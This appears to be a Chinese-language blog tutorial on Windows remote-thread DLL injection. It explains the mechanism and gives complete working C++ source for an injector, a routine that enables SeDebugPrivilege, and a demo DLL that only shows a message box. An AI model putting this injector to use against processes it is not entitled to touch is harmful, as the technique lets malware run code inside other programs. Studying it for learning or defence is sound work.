Loading

第三章 注入技术---远线程注入

一、远线程注入

远线程注入是指一个进程在另一个进程中创建线程的技术。

二、API

OpenProcess函数
https://docs.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
VirtualAllocEx函数
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
WriteProcessMemory函数
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
CreateRemoteThread函数
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread

三、实现原理

远线程注入DLL之所以能称为远线程,是由于它使用关键函数CreateRemoteThread来在其他进程空间中创建一个线程。
首先,程序在加载一个DLL时,它通常调用LoadLibrary函数来实现DLL的动态加载。
然后,再看下创建远线程的函数CreateRemoteThread的声明

HANDLE CreateRemoteThread(
  HANDLE                 hProcess,
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  SIZE_T                 dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID                 lpParameter,
  DWORD                  dwCreationFlags,
  LPDWORD                lpThreadId
);

从声明中可以知道,CreateRemoteThread需要传递的是目标进程空间中的多线程函数地址,以及多线程参数,其中参数类型是空指针类型。
接下来,将上述两个函数声明结合起来思考。可以大胆设想一下,如果程序能够获取目标进程LoadLibrary函数的地址,而且还能够获取目标进程空间中某个DLL路径字符串的地址,那么,可将LoadLibrary函数的地址作为多线程函数的地址,某个DLL路径字符串作为多线程函数的参数,并传递给CreateRemoteThread函数在目标进程空间中创建一个多线程,这样能不能成功呢?
所以需要解决以下两个问题:
一、目标进程空间中LoadLibrary函数的地址是多少?
二、如何向目标进程空间中写入DLL路径字符串数据
由于Windows引入了机制随机化ASLR安全机制,所以导致每次开机时系统DLL的加载地址都不一样,从而导致了DLL导出函数的地址也不一样。
有些系统DLL(例如Kernel32.dll,ntdll.dll)的加载基地址,要求系统启动之后必须固定,如果系统重新启动,则其地址可以不同。
也就是说,虽然进程不同,但是开机后,kernel32.dll的加载基址在各个进程都是相同的,因此导出函数的地址也相同。所以,自己程序空间的LoadLibrary函数地址和其他进程空间的LoadLibrary函数地址相同。(第一个问题解决)
直接调用VirtualAllocEx函数在目标进程空间中申请一块内存,然后再调用WriteProcessMemory函数将指定的DLL路径写入目标进程空间中。(解决了第二个问题)

四、实现代码

001.dll的dllman.cpp

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "framework.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL, TEXT("This Is From Dll!\nInject Success!"), TEXT("OK"), MB_OK);
        MessageBox(NULL, TEXT("This I222Inject Success!"), TEXT("OK"), MB_OK);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

002.exe
AdjustTokenPrivilegesTest.h

#ifndef _ADJUST_TOKEN_PRIVILEGES_H_
#define _ADJUST_TOKEN_PRIVILEGES_H_
#include <Windows.h>
BOOL EnbalePrivileges(HANDLE hProcess, char* pszPrivilegesName);
#endif

InjectDll.h

#ifndef _INJECT_DLL_H_
#define _INJECT_DLL_H_
#include <Windows.h>
// 使用 CreateRemoteThread 实现远线程注入
BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, char* pszDllFileName);
#endif

CreateRemoteThread_Test.cpp

// CreateRemoteThread_Test.cpp : 定义控制台应用程序的入口点。

#include "InjectDll.h"
#include "AdjustTokenPrivilegesTest.h"
#include <stdio.h>
#include <windows.h>
#include<tchar.h>

int _tmain(int argc, _TCHAR* argv[])
{
	// 提升当前进程令牌权限
	EnbalePrivileges(::GetCurrentProcess(), SE_DEBUG_NAME);
	// 远线程注入 DLL
#ifndef _WIN64
	BOOL bRet = CreateRemoteThreadInjectDll(4316, "C:\\C C++\\winhack\\remotedll\\001\\001.dll");
#else 
	BOOL bRet = CreateRemoteThreadInjectDll(6676, "C:\\C C++\\winhack\\remotedll\\001\\x64\\Release\\001.dll");
#endif

	if (FALSE == bRet)
	{
		printf("Inject Dll Error.\n");
	}
	printf("Inject Dll OK.\n");
	system("pause");
	return 0;
}

AdjustTokenPrivilegesTest.cpp

#include "AdjustTokenPrivilegesTest.h"


void EP_ShowError(char* pszText)
{
	char szErr[MAX_PATH] = { 0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
	::MessageBox(NULL, szErr, "ERROR", MB_OK);
}


BOOL EnbalePrivileges(HANDLE hProcess, char* pszPrivilegesName)
{
	HANDLE hToken = NULL;
	LUID luidValue = { 0 };
	TOKEN_PRIVILEGES tokenPrivileges = { 0 };
	BOOL bRet = FALSE;
	DWORD dwRet = 0;


	// 打开进程令牌并获取具有 TOKEN_ADJUST_PRIVILEGES 权限的进程令牌句柄
	bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
	if (FALSE == bRet)
	{
		EP_ShowError("OpenProcessToken");
		return FALSE;
	}
	// 获取本地系统的 pszPrivilegesName 特权的LUID值
	bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
	if (FALSE == bRet)
	{
		EP_ShowError("LookupPrivilegeValue");
		return FALSE;
	}
	// 设置提升权限信息
	tokenPrivileges.PrivilegeCount = 1;
	tokenPrivileges.Privileges[0].Luid = luidValue;
	tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	// 提升进程令牌访问权限
	bRet = ::AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);
	if (FALSE == bRet)
	{
		EP_ShowError("AdjustTokenPrivileges");
		return FALSE;
	}
	else
	{
		// 根据错误码判断是否特权都设置成功
		dwRet = ::GetLastError();
		if (ERROR_SUCCESS == dwRet)
		{
			return TRUE;
		}
		else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
		{
			EP_ShowError("ERROR_NOT_ALL_ASSIGNED");
			return FALSE;
		}
	}

	return FALSE;
}

InjectDll.cpp

#include "InjectDll.h"
void ShowError(char* pszText)
{
	char szErr[MAX_PATH] = { 0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
	::MessageBox(NULL, szErr, "ERROR", MB_OK);
}


// 使用 CreateRemoteThread 实现远线程注入
BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, char* pszDllFileName)
{
	HANDLE hProcess = NULL;
	SIZE_T dwSize = 0;
	LPVOID pDllAddr = NULL;
	FARPROC pFuncProcAddr = NULL;

	// 打开注入进程,获取进程句柄
	hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
	if (NULL == hProcess)
	{
		ShowError("OpenProcess");
		return FALSE;
	}
	// 在注入进程中申请内存
	dwSize = 1 + ::lstrlen(pszDllFileName);
	pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
	if (NULL == pDllAddr)
	{
		ShowError("VirtualAllocEx");
		return FALSE;
	}
	// 向申请的内存中写入数据
	if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
	{
		ShowError("WriteProcessMemory");
		return FALSE;
	}
	// 获取LoadLibraryA函数地址
	pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
	if (NULL == pFuncProcAddr)
	{
		ShowError("GetProcAddress_LoadLibraryA");
		return FALSE;
	}
	// 使用 CreateRemoteThread 创建远线程, 实现 DLL 注入
	HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL);
	if (NULL == hRemoteThread)
	{
		ShowError("CreateRemoteThread");
		return FALSE;
	}
	// 关闭句柄
	::CloseHandle(hProcess);

	return TRUE;
}

五、小结

对一些系统进程进行注入测试,就会发现一个问题,即不能成功注入到一些系统服务进程。这是由于系统存在SESSION 0隔离的安全机制,传统的远线程注入DLL方法并不能突破SESSION 0隔离。

posted @ 2021-09-07 21:43  Ctrl_C+Ctrl_V  阅读(394)  评论(0)    收藏  举报